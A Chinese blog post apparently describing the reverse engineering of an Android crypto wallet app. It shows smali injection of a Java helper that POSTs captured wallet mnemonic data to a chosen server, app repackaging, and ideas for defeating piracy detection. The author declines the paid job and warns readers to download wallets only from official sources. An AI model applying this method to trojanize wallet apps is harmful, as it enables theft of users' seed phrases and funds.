PS: 有单子找我接呀,点击这里加我
目录
- 前言
- 逆向定位小技巧
- 关于去掉APP盗版检测思考
- 区块链安全思考
- 总结
- 其他
- 关注这里,了解更多原创资讯:
- 打赏喝咖啡
前言
1.早在8月中旬接到一个粉丝加我,说是有开发需求,找我来聊聊,能否实现
2.还真搞定了,但是由于这个钱来路有点黑,最后不接,对方开了很高的价钱也不接
3.也很久没更新博客了,也没什么技术亮点,这次水一篇吧,好歹是逆向某APP,也学习到了一些东西
4.本篇内容篇幅就不介绍脱壳、签名的问题,本篇文章侧重介绍:Smali 源码修改及重打包
逆向定位小技巧
PS: 先了解区块链钱包的实现原理
了解到区块链钱包,技术上主要涉及这几个重要概念:助记词、私钥、公钥、钱包地址
而且区块链钱包服务器是不会保存用户的助记词的,并且不通过网络传输;
换而言之,就是都保存在你本地;
笔者测试过,安卓端去设置里面,把APP的数据给清空掉的话,是直接就没有了的,
如果你不记住你本子,你的钱包是找不回来的,所以一定要记下来你的助记词
1.明知山有虎,偏向虎山行——还是老套路,抓包分析(固有套路,排除最简单的方式)
2.发现抓包并没有什么发现,都是加密的东西(TCP/UDP/HTTPS)
3.灵光一闪,想到了前面的原理所提及的关键词,直接拿去谷歌翻译啊笨——当时心情突然开心了一下子
4.助记词——Mnemonic,真行啊这都被我想到了,而且一点混淆也没有(我骄傲了吗,哼!)
5.使用 frida hook 来分析到的关键代码处(这里忽略过程)
6.本文介绍的最重要的一点来了:smali 源码修改及打包
6-1、首先来分析一下,我们可以直接修改 smali 源码来实现我们需要的操作,比如:
- 插入 log 日志打印;
- 监听到指定的关键内容之后,发送到指定的服务器;
6-2、那么问题来了,我们需要对 smali 源码进行修改,那不得按照它的语法来编写呀?
很好,你有这个意识就好;
来到了,我的政治老师教给我的,怎么办?我们直接写一大篇幅的 smali 代码那简直是头疼呀,不是不可能,是很容易出错,需要多次修改;
有没有更好的思路及实现呢?有吧,我觉得
7.正向开发——>再反编译成 smali 项目——>拷贝 smali 文件——>修改 smali 文件的包路径为正确的包路径——>最后引用
发送内容到指定的服务器 demo 代码:
ForSmaliUtils.java
import android.util.Log;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStreamWriter;
import java.net.HttpURLConnection;
import java.net.URL;
public class ForSmaliUtils {
public static String streamToString(InputStream stream) {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
byte[] b = new byte[1024];
int len = 0;
try {
while ((len = stream.read(b)) != -1) {
outputStream.write(b, 0, len);
}
return outputStream.toString();
} catch (IOException e) {
e.printStackTrace();
}
return null;
}
public static void sendData(final Object data) {
final String TAG = "SmaliLog";
final String myUrl = "http://192.168.1.2:7071/receiveData";
Log.i(TAG, "objdata: " + data.toString());
Thread thread = new Thread(new Runnable() {
@Override
public void run() {
try {
URL url = new URL(myUrl);
HttpURLConnection urlConn = (HttpURLConnection) url.openConnection();
urlConn.setConnectTimeout(10 * 1000);
urlConn.setReadTimeout(10 * 1000);
urlConn.setDoOutput(true);
urlConn.setDoInput(true);
urlConn.setUseCaches(false);
urlConn.setRequestMethod("POST");
urlConn.setInstanceFollowRedirects(true);
urlConn.setRequestProperty("Content-Type", "application/json;charset=UTF-8");
urlConn.connect();
OutputStreamWriter outputStreamWriter = new OutputStreamWriter(urlConn.getOutputStream());
outputStreamWriter.write(String.valueOf(data));
outputStreamWriter.flush();
outputStreamWriter.close();
if (urlConn.getResponseCode() == 200) {
String result = streamToString(urlConn.getInputStream());
Log.e(TAG, "Post方式请求成功,result---> " + result);
} else {
Log.e(TAG, "Post方式请求失败: " + urlConn.getResponseMessage());
}
urlConn.disconnect();
} catch (Exception e) {
Log.e(TAG, "发送数据异常: " + e.toString());
}
}
});
thread.start();
}
}
调用发送数据到指定的服务器:
String myData = "hello, i am qizai, are u ok?";
ForSmaliUtils.sendData(myData);
然后将正向开发的代码,我的是在一个 xposed 插件 APP 里面的,所以直接编译这个项目输出一个 APP 包就行了;
然后将这个输出的 APP 包,反编译成 smali 项目,我这里同样是使用 Android killer来修改, 请看第一篇手把手教学的教程
查看 smali 源码
直接拷贝 ForSmaliUtils 的 smali 文件,及使用、调用它
然后重新打包,成功之后,直接打印日志试试,因为我里面做了日志打印,标签为:SmaliLog
使用adb logcat -s SmaliLog
查看,发送成功,发送的内容是:初始化创建用户的时候,APP是默认给用户创建三个钱包,币种分别是:ETH、BTC、ATOM,所对应的相关内容
服务端接收成功:
至此,这 APP 算逆向成功了
关于去掉APP盗版检测思考
比如,检测到了盗版是这样的:
但是检测也照样能过滤掉,这样一来,一般的使用者就不会发现是盗版的 APP 了
怎么过呢?目前考虑的情况有这些:
- 屏蔽官方发起盗版检测请求
- 去掉当前的弹窗
目前实现的步骤来看,不再继续研究了,因为这是违法的事,我也跟那哥们说了,不接这单子了,然后他找别人做去了
区块链安全思考
- 所谓的区块链安全,什么去中心化,啥的,对吧;
- 搁这,APP 被动手脚了那也不是很安全嘛,对吧;
- 最重要的是,如果大伙们要炒币,那一定要从官方网站下载 APP,别从朋友那里下载,或者一些近似官网链接去下载
- 这粉丝说是在国外的,搞这些;然后给了很多盗版的官网链接给我,打开的页面就是跟官网一模一样,链接也是包含官网那些关键词
- 反正无论是什么 APP、什么软件都得要慎重思考来源——诚信的给你们提醒
总结
- 本文只想介绍一个知识点:逆向的时候,我们可以从正向开发,编写好代码后,编译成APP;
- 再对APP进行反编译,我们就拿到了完全正确格式的 smali 代码;
- 然后再对我们需要的 smali 文件进行拷贝到,目标逆向APP内;
- 插入相关的调用逻辑,俗称 “插桩”,这里需要注意的是,拷贝的 smali 文件中,开头那里需要修改为正确的包名路径;
- 插桩的时候,我们还需要注意的是:局部变量的个数,如果有用到的话(即是:.locals指令,表明了方法中非参寄存器的个数)
其他
- 别发横财梦了(讲真,那个单子真的很诱惑,好几个 APP,总共的金额高达3/40W,那对我来说,是三四线城市的一个首付呀)
- 黑产早晚得进去,别杠,杠就是:早中晚都进去 [/狗头保命]
- 禁得住诱惑
之前说好的,每个月至少一更,现在都很多个月没写了,对不起粉丝们,这么久没有输出内容
感谢某人的默默支持,这好长一段时间,辛苦了,谢谢
很深夜了,睡觉啦,晚安
关注这里,了解更多原创资讯:
- 七仔博客首页
- 七仔Gitee
- 七仔Github
- 七仔爬虫论坛首页
打赏喝咖啡
你的支持就是我的动力,感谢感谢